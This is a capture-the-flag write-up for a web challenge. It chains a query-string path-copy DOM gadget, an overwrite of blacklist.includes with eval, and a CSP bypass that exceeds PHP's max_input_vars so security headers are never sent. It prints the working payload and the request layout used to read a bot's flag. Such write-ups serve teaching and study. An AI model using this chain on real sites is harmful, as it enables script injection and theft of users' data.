pwneglyph logo
web web-client prototype-pollution cspp client-side-prototype-pollution path-copy-gadget dom csp-bypass max-input-vars php headers-already-sent eval xss cookie-theft puppeteer-bot chrome

A query-string "copy a.b.c into x.y.z" gadget gives arbitrary property writes across the DOM; overwrite blacklist.includes with eval, then knock out the CSP header by exceeding PHP's max_input_vars so the eval fires and exfiltrates the bot's flag.

Shrimp Saver — path-copy DOM gadget + max_input_vars CSP break

CTF: FCSC 2026 · Category: Web (client-side) · Author: Mizu

Challenge overview

A minimal page (just a shrimp gif) served by PHP with a strict-ish CSP, plus a Chrome bot. The bot holds an httpOnly flag_auth cookie equal to COOKIE_SECRET, and flag.php echoes the flag only when that cookie matches:

// flag.php
$secret = getenv('COOKIE_SECRET') ?: '...';
if (!isset($_COOKIE['flag_auth']) || $_COOKIE['flag_auth'] !== $secret) { http_response_code(403); die('...'); }
echo getenv('FLAG');

flag_auth is httpOnly, so we can't read the cookie — we must get same-origin script execution in the bot, fetch/XHR /flag.php, and console.log the result (the bot echoes every console.log back to us).

Defenses (index.php):

$nonce = base64_encode(random_bytes(16));
header("Content-Security-Policy: default-src 'self'; connect-src 'self'; script-src 'nonce-$nonce';");
header("X-Frame-Options: DENY");
header("Cross-Origin-Opener-Policy: same-origin");

No framing, random nonce, COOP — so the usual iframe/window.open tricks are out.

The gadget: a path-copy primitive

app.js walks document.body along a dotted path for both the destination and the source of each query parameter, then assigns:

var blacklist = ["constructor", "__proto__"];

function resolvePath(obj, parts) {
  let target = obj;
  for (let part of parts) {
    if (blacklist.includes(part)) throw new Error("Blacklisted path part");
    if (target[part] === undefined) throw new Error(`Invalid path ${part}`);
    target = target[part];
  }
  return target;
}

function copy(copyTo, copyFrom) {
  const parts = copyTo.split(".");
  const lastPart = parts.pop();
  const target = resolvePath(document.body, parts);
  const value  = resolvePath(document.body, copyFrom.split("."));
  target[lastPart] = value;                          // arbitrary property write
}

for (const [name, value] of new URLSearchParams(location.search).entries()) copy(name, value);

So ?A.B.C=X.Y.Z does body.A.B.C = body.X.Y.Z. The DOM is a graph: from document.body you can reach ownerDocument (→ document), ownerDocument.defaultView (→ window), and from there anything, including blacklist and eval.

The neat sink: resolvePath calls blacklist.includes(part) on every path segment. If we overwrite blacklist.includes with eval, the next parameter's source path turns each segment into eval(part):

?ownerDocument.defaultView.blacklist.includes=ownerDocument.defaultView.eval
&x=<js with no dots>

For x=PAYLOAD, copy("x", "PAYLOAD") runs resolvePath(body, ["PAYLOAD"])blacklist.includes("PAYLOAD")eval("PAYLOAD"). (The source must contain no ., since the parser splits on it — use bracket access and \x2e.)

But eval is blocked by the CSP:

Uncaught EvalError: call to eval() blocked by CSP

Killing the CSP via max_input_vars

The container runs PHP with display_errors=STDOUT, output_buffering=0, max_input_vars=1000. When the request exceeds 1000 input vars, PHP emits a warning immediately to the body (output buffering off). That output is sent before index.php reaches its header("Content-Security-Policy: ...") calls, so the headers — including the CSP — are never sent ("headers already sent"). No CSP → eval runs.

Pad the query string with ~1000 junk params:

// generate filler params
Array.from({ length: 999 }, (_, i) => 'a' + i.toString(36) + '=').join('&');

Final payload

The eval'd JS must avoid . (dots split the path). Use an async-free XHR and bracket access; flag.php becomes flag\x2ephp:

(r=>{ r['open']('GET','/flag\x2ephp',false); r['send'](); console['log'](r['responseText']); })(new XMLHttpRequest)

Full request (conceptually):

http://shrimp-saver/?ownerDocument.defaultView.blacklist.includes=ownerDocument.defaultView.eval
  &x=<url-encoded XHR payload above>
  &a0=&a1=&a2=...&arq=          # >1000 filler params to break the CSP header

One gotcha on remote: the URL is enormous, and piping it through netcat/socat split it into chunks that broke the request — send the whole thing in a single write (a small Python socket script).

console.log(r.responseText) prints the flag, which the bot relays back.

Takeaways (generalized technique)

  • A "copy value at path A to path B" helper over document.body is an arbitrary DOM property write. Pivot up via ownerDocumentdocument, defaultViewwindow to reach anything.
  • Overwriting a function called on attacker data during traversal (here blacklist.includes) with eval turns the traversal itself into a code-exec sink.
  • PHP CSP bypass: with display_errors on, output_buffering=0, exceeding max_input_vars prints a warning before header() runs → "headers already sent" → security headers dropped. (Patched in the revenge variant via php.ini.)
  • When the cookie is httpOnly, the goal is same-origin JS execution + read-back, not cookie theft.

Sources & references